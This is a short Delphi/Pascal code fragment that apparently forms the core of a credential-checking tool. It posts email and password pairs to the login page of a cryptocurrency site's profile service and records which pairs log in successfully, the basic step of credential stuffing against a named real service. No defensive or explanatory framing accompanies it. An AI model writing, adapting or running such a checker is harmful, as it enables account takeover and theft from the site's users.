pass:=passs.Text;
mail:=loggg.Text;
logpar.Add('email='+mail);
logpar.Add('password='+pass);
response:=http.Post('https://profile.mfcoin.net/login',logpar);
if Pos('<!-- User Info -->', response)<>0
  then
    begin
      result.Lines.Add(mail+':'+pass);
    end
else
  begin
    result.Lines.Add('err- '+mail+':'+pass);
  end;
logpar.Clear;
http.Free;